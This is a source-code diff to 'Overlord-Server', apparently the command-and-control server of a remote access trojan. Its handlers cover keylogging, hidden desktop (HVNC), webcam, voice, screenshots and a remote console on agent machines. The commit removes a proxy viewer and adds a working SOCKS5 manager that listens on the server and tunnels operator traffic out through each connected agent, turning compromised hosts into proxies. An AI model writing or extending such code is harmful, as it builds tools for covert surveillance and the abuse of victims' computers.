handleNotificationViewerOpen: (ws: ServerWebSocket) => void; handleConsoleViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; @@ -48,7 +48,6 @@ type WsLifecycleDeps = { handleFileBrowserViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleProcessViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleKeyloggerViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; - handleProxyViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleVoiceViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; takePendingNotificationScreenshot: (clientId: string) => any; @@ -62,7 +61,9 @@ type WsLifecycleDeps = { handleNotificationScreenshotResult: (clientId: string, payload: any) => void; handleConsoleOutput: (payload: any) => void; handleFileBrowserMessage: (clientId: string, payload: any) => void; - handleProxyMessage: (clientId: string, payload: any) => void; + handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void; + handleProxyTunnelClose: (clientId: string, connectionId: string) => void; + handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void; handleProcessMessage: (clientId: string, payload: any) => void; handleKeyloggerMessage: (clientId: string, payload: any) => void; notifyRdInputLatency: (commandId: string) => void; @@ -93,7 +94,6 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws); if (role === "process_viewer") return deps.handleProcessViewerOpen(ws); if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws); - if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws); if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws); if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws); @@ -152,7 +152,6 @@ export function handleWebSocketMessage( if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message); if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message); if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message); - if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message); if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message); if (socketRole === "notifications_viewer") return; @@ -258,7 +257,13 @@ export function handleWebSocketMessage( (payload as any).message, ); deps.handleFileBrowserMessage(info.id, payload); - deps.handleProxyMessage(info.id, payload); + if (payloadType === "command_result" && typeof (payload as any).commandId === "string") { + deps.handleProxyConnectResult( + info.id, + (payload as any).commandId, + Boolean((payload as any).ok), + ); + } break; case "command_progress": deps.handleFileBrowserMessage(info.id, payload); @@ -304,6 +309,22 @@ export function handleWebSocketMessage( case "hvnc_clone_progress": deps.handleHVNCCloneProgress(info.id, payload); break; + case "proxy_data": { + const connId = (payload as any).connectionId; + const tunnelData = (payload as any).data; + if (typeof connId === "string" && tunnelData) { + const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData); + deps.handleProxyTunnelData(info.id, connId, bytes); + } + break; + } + case "proxy_close": { + const connId = (payload as any).connectionId; + if (typeof connId === "string") { + deps.handleProxyTunnelClose(info.id, connId); + } + break; + } default: break; } @@ -414,13 +435,6 @@ export function handleWebSocketClose( return; } - if (role === "proxy_viewer") { - if (sessionId) { - sessionManager.deleteProxySession(sessionId); - } - return; - } - if (role === "voice_viewer") { deps.cleanupVoiceViewer(ws); return; @@ -434,6 +448,7 @@ export function handleWebSocketClose( } clientManager.deleteClient(clientId); + stopAllProxiesForClient(clientId); clearClientSyncState(clientId); deps.notifyConsoleClosed(clientId, "Client disconnected"); setOnlineState(clientId, false); diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index 671715b..b3d556d 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -163,24 +163,6 @@ export async function handleWsUpgradeRoutes( return new Response("Upgrade failed", { status: 500 }); } - const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/); - if (proxyMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = proxyMatch[1]; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/); if (voiceMatch) { const user = await authenticateRequest(req); diff --git a/Overlord-Server/src/server/socks5-proxy-manager.ts b/Overlord-Server/src/server/socks5-proxy-manager.ts new file mode 100644 index 0000000..6eae806 --- /dev/null +++ b/Overlord-Server/src/server/socks5-proxy-manager.ts @@ -0,0 +1,453 @@ +/** + * Server-side SOCKS5 proxy manager. + * + * Opens TCP listeners on the Overlord server. Each listener is bound to a + * specific agent (clientId). When an external SOCKS5 client connects, the + * server performs the SOCKS5 handshake locally and then tunnels the + * connection through the agent's existing WebSocket channel. + * + * Protocol (new message types piggybacking on the existing wire format): + * Server → Agent command { commandType: "proxy_connect", id: connId, payload: { host, port } } + * Server → Agent command { commandType: "proxy_data", id: connId, payload: { data: Uint8Array } } + * Server → Agent command { commandType: "proxy_close", id: connId } + * Agent → Server { type: "proxy_data", connectionId, data: Uint8Array } + * Agent → Server { type: "proxy_close", connectionId } + * Agent → Server { type: "command_result", commandId: connId, ok, message } (for proxy_connect result) + */ + +import type { Socket, TCPSocketListener } from "bun"; +import { v4 as uuidv4 } from "uuid"; +import { encodeMessage } from "../protocol"; +import * as clientManager from "../clientManager"; +import { logger } from "../logger"; + +// ── Types ───────────────────────────────────────────────────────────────────── + +export type ProxyEntry = { + clientId: string; + port: number; + listener: TCPSocketListener; + /** active tunnel connections keyed by connectionId */ + connections: Map; + createdAt: number; +}; + +type TunnelConnection = { + socket: Socket; + /** whether the agent has confirmed the target connection */ + connected: boolean; + /** buffer data received from SOCKS client before agent confirms */ + pendingData: Buffer[]; +}; + +type ProxySocketData = { + connectionId: string; + proxyPort: number; + /** SOCKS5 handshake phase */ + phase: "greeting" | "request" | "tunneling"; + buffer: Buffer; +}; + +// ── State ───────────────────────────────────────────────────────────────────── + +/** port → ProxyEntry */ +const activeProxies = new Map(); + +// ── Public API ──────────────────────────────────────────────────────────────── + +export function getActiveProxies(): Array<{ + clientId: string; + port: number; + connections: number; + createdAt: number; +}> { + const out: Array<{ + clientId: string; + port: number; + connections: number; + createdAt: number; + }> = []; + for (const [port, entry] of activeProxies) { + out.push({ + clientId: entry.clientId, + port, + connections: entry.connections.size, + createdAt: entry.createdAt, + }); + } + return out; +} + +export function startProxy( + clientId: string, + port: number, +): { ok: boolean; message: string } { + if (activeProxies.has(port)) { + return { ok: false, message: `Port ${port} is already in use by another proxy` }; + } + + const target = clientManager.getClient(clientId); + if (!target) { + return { ok: false, message: `Client ${clientId} is not connected` }; + } + + const connections = new Map(); + + try { + const listener = Bun.listen({ + hostname: "0.0.0.0", + port, + socket: { + open(socket) { + const connectionId = uuidv4(); + socket.data = { + connectionId, + proxyPort: port, + phase: "greeting", + buffer: Buffer.alloc(0), + }; + connections.set(connectionId, { + socket, + connected: false, + pendingData: [], + }); + logger.debug( + `[socks5] new connection ${connectionId} on port ${port}`, + ); + }, + + data(socket, data) { + const entry = activeProxies.get(socket.data.proxyPort); + if (!entry) { + socket.end(); + return; + } + handleSocksData(socket, Buffer.from(data), entry); + }, + + close(socket) { + const entry = activeProxies.get(socket.data.proxyPort); + if (!entry) return; + const connId = socket.data.connectionId; + const tunnel = entry.connections.get(connId); + if (tunnel) { + entry.connections.delete(connId); + // tell agent to close its side + const agent = clientManager.getClient(entry.clientId); + if (agent) { + try { + agent.ws.send( + encodeMessage({ + type: "command", + commandType: "proxy_close", + id: connId, + } as any), + ); + } catch {} + } + } + logger.debug(`[socks5] connection ${connId} closed`); + }, + + error(socket, err) { + logger.error( + `[socks5] socket error conn=${socket.data?.connectionId}`, + err, + ); + }, + }, + }); + + const entry: ProxyEntry = { + clientId, + port, + listener, + connections, + createdAt: Date.now(), + }; + activeProxies.set(port, entry); + logger.info( + `[socks5] proxy started on port ${port} for client ${clientId}`, + ); + return { ok: true, message: `Proxy started on port ${port}` }; + } catch (err: any) { + return { + ok: false, + message: `Failed to listen on port ${port}: ${err.message || err}`, + }; + } +} + +export function stopProxy(port: number): { ok: boolean; message: string } { + const entry = activeProxies.get(port); + if (!entry) { + return { ok: false, message: `No proxy running on port ${port}` }; + } + + // close all tunnel connections + for (const [connId, tunnel] of entry.connections) { + try { + tunnel.socket.end(); + } catch {} + // notify agent + const agent = clientManager.getClient(entry.clientId); + if (agent) { + try { + agent.ws.send( + encodeMessage({ + type: "command", + commandType: "proxy_close", + id: connId, + } as any), + ); + } catch {} + } + } + + entry.listener.stop(true); + activeProxies.delete(port); + logger.info(`[socks5] proxy stopped on port ${port}`); + return { ok: true, message: `Proxy on port ${port} stopped` }; +} + +export function stopAllProxiesForClient(clientId: string): void { + for (const [port, entry] of activeProxies) { + if (entry.clientId === clientId) { + stopProxy(port); + } + } +} + + +export function handleProxyTunnelData( + clientId: string, + connectionId: string, + data: Uint8Array, +): void { + for (const entry of activeProxies.values()) { + if (entry.clientId !== clientId) continue; + const tunnel = entry.connections.get(connectionId); + if (tunnel) { + try { + tunnel.socket.write(data); + } catch { + entry.connections.delete(connectionId); + } + return; + } + } +} + +/** Called when the agent closes its side of a tunnel */ +export function handleProxyTunnelClose( + clientId: string, + connectionId: string, +): void { + for (const entry of activeProxies.values()) { + if (entry.clientId !== clientId) continue; + const tunnel = entry.connections.get(connectionId); + if (tunnel) { + entry.connections.delete(connectionId); + try { + tunnel.socket.end(); + } catch {} + return; + } + } +} + +export function handleProxyConnectResult( + clientId: string, + connectionId: string, + ok: boolean, +): void { + for (const entry of activeProxies.values()) { + if (entry.clientId !== clientId) continue; + const tunnel = entry.connections.get(connectionId); + if (!tunnel) return; + + if (ok) { + tunnel.connected = true; + // send SOCKS5 success response + // VER | REP | RSV | ATYP | BND.ADDR (4 bytes) | BND.PORT (2 bytes) + tunnel.socket.write( + Buffer.from([0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]), + ); + logger.debug(`[socks5] tunnel established (conn=${connectionId})`); + // flush any data that arrived between handshake and connect + for (const buf of tunnel.pendingData) { + sendDataToAgent(entry.clientId, connectionId, buf); + } + tunnel.pendingData = []; + } else { + logger.debug(`[socks5] tunnel rejected by agent (conn=${connectionId})`); + // SOCKS5 connection-refused reply + tunnel.socket.write( + Buffer.from([0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0]), + ); + tunnel.socket.end(); + entry.connections.delete(connectionId); + } + return; + } +} + +function handleSocksData( + socket: Socket, + incoming: Buffer, + entry: ProxyEntry, +) { + const { connectionId, phase } = socket.data; + + if (phase === "tunneling") { + const tunnel = entry.connections.get(connectionId); + if (!tunnel) { + socket.end(); + return; + } + if (!tunnel.connected) { + tunnel.pendingData.push(incoming); + return; + } + sendDataToAgent(entry.clientId, connectionId, incoming); + return; + } + + socket.data.buffer = Buffer.concat([socket.data.buffer, incoming]); + const buf = socket.data.buffer; + + if (phase === "greeting") { + if (buf.length < 2) return; + const ver = buf[0]; + const nmethods = buf[1]; + if (ver !== 5) { + socket.end(); + entry.connections.delete(connectionId); + return; + } + if (buf.length < 2 + nmethods) return; + + socket.write(Buffer.from([0x05, 0x00])); + socket.data.phase = "request"; + socket.data.buffer = buf.subarray(2 + nmethods); + + if (socket.data.buffer.length > 0) { + handleSocksData(socket, Buffer.alloc(0), entry); + } + return; + } + + if (phase === "request") { + if (buf.length < 4) return; + const ver = buf[0]; + const cmd = buf[1]; + const atyp = buf[3]; + + if (ver !== 5) { + socket.end(); + entry.connections.delete(connectionId); + return; + } + if (cmd !== 1) { + socket.write( + Buffer.from([0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0]), + ); + socket.end(); + entry.connections.delete(connectionId); + return; + } + + let host: string; + let portOffset: number; + + switch (atyp) { + case 1: { + if (buf.length < 10) return; + host = `${buf[4]}.${buf[5]}.${buf[6]}.${buf[7]}`; + portOffset = 8; + break; + } + case 3: { + if (buf.length < 5) return; + const domainLen = buf[4]; + if (buf.length < 5 + domainLen + 2) return; + host = buf.subarray(5, 5 + domainLen).toString("utf8"); + portOffset = 5 + domainLen; + break; + } + case 4: { + if (buf.length < 22) return; + const parts: string[] = []; + for (let i = 0; i < 16; i += 2) { + parts.push(buf.readUInt16BE(4 + i).toString(16)); + } + host = parts.join(":"); + portOffset = 20; + break; + } + default: { + socket.write( + Buffer.from([0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0]), + ); + socket.end(); + entry.connections.delete(connectionId); + return; + } + } + + const port = buf.readUInt16BE(portOffset); + logger.debug( + `[socks5] CONNECT request → ${host}:${port} (conn=${connectionId})`, + ); + + socket.data.phase = "tunneling"; + socket.data.buffer = Buffer.alloc(0); + + const agent = clientManager.getClient(entry.clientId); + if (!agent) { + socket.write( + Buffer.from([0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0]), + ); + socket.end(); + entry.connections.delete(connectionId); + return; + } + + agent.ws.send( + encodeMessage({ + type: "command", + commandType: "proxy_connect", + id: connectionId, + payload: { host, port }, + } as any), + ); + + const remaining = buf.subarray(portOffset + 2); + if (remaining.length > 0) { + const tunnel = entry.connections.get(connectionId); + if (tunnel) tunnel.pendingData.push(remaining); + } + return; + } +} + +function sendDataToAgent( + clientId: string, + connectionId: string, + data: Buffer | Uint8Array, +): void { + const agent = clientManager.getClient(clientId); + if (!agent) return; + try { + agent.ws.send( + encodeMessage({ + type: "command", + commandType: "proxy_data", + id: connectionId, + payload: { data: new Uint8Array(data) }, + } as any), + ); + } catch (err) { + logger.error(`[socks5] failed to send data to agent ${clientId}`, err); + } +} diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index eb88483..541954a 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -311,54 +311,6 @@ export function handleProcessMessage(clientId: string, payload: any) { } } -export function handleProxyViewerOpen(ws: ServerWebSocket) { - const { clientId } = ws.data; - const sessionId = uuidv4(); - const target = clientManager.getClient(clientId); - const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; - sessionManager.addProxySession(session); - ws.data.sessionId = sessionId; - logger.info(`[proxy] viewer connected session=${sessionId} client=${clientId}`); - safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target }); - if (!target) { - safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); - } -} - -export function handleProxyViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { - const payload = decodeViewerPayload(raw); - if (!payload || typeof payload.type !== "string") return; - const { clientId } = ws.data; - const target = clientManager.getClient(clientId); - if (!target) { - safeSendViewer(ws, { type: "status", status: "offline" }); - return; - } - - const commandId = uuidv4(); - switch (payload.type) { - case "proxy_start": { - const port = typeof payload.port === "number" ? payload.port : 1080; - target.ws.send(encodeMessage({ type: "command", commandType: "proxy_start", id: commandId, payload: { port } } as any)); - metrics.recordCommand("proxy_start"); - break; - } - case "proxy_stop": - target.ws.send(encodeMessage({ type: "command", commandType: "proxy_stop", id: commandId } as any)); - metrics.recordCommand("proxy_stop"); - break; - default: - break; - } -} - -export function handleProxyMessage(clientId: string, payload: any) { - for (const session of sessionManager.getAllProxySessions().values()) { - if (session.clientId !== clientId) continue; - safeSendViewer(session.viewer, payload); - } -} - export function handleKeyloggerViewerOpen(ws: ServerWebSocket) { const { clientId } = ws.data; const sessionId = uuidv4(); diff --git a/Overlord-Server/src/sessions/sessionManager.ts b/Overlord-Server/src/sessions/sessionManager.ts index 75258e5..6c73b91 100644 --- a/Overlord-Server/src/sessions/sessionManager.ts +++ b/Overlord-Server/src/sessions/sessionManager.ts @@ -21,7 +21,6 @@ const fileBrowserSessions = new Map(); const processSessions = new Map(); const notificationSessions = new Map(); const keyloggerSessions = new Map(); -const proxySessions = new Map(); // Reusing KeyloggerViewer interface for consistency const voiceSessions = new Map(); function addSessionToClientIndex( @@ -353,32 +352,6 @@ export function getAllKeyloggerSessions(): Map { return keyloggerSessions; } -export function addProxySession(session: KeyloggerViewer): void { - proxySessions.set(session.id, session); -} - -export function getProxySession( - sessionId: string, -): KeyloggerViewer | undefined { - return proxySessions.get(sessionId); -} - -export function deleteProxySession(sessionId: string): boolean { - return proxySessions.delete(sessionId); -} - -export function getProxySessionsByClient( - clientId: string, -): KeyloggerViewer[] { - return Array.from(proxySessions.values()).filter( - (s) => s.clientId === clientId, - ); -} - -export function getAllProxySessions(): Map { - return proxySessions; -} - export function addVoiceSession(session: VoiceViewer): void { voiceSessions.set(session.id, session); } diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index e25b4e2..cdb41a2 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -10,7 +10,6 @@ export type SocketRole = | "process_viewer" | "notifications_viewer" | "keylogger_viewer" - | "proxy_viewer" | "voice_viewer"; export type SocketData = { diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index bb56b6c..3c72e42 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -1,4 +1,4 @@ -export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer"; +export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "voice_viewer" | "notifications_viewer"; const textEncoder = new TextEncoder(); @@ -28,6 +28,8 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "voice_uplink", "webcam_devices", "hvnc_clone_progress", + "proxy_data", + "proxy_close", ]); export function isAllowedClientMessageType(type: string): boolean {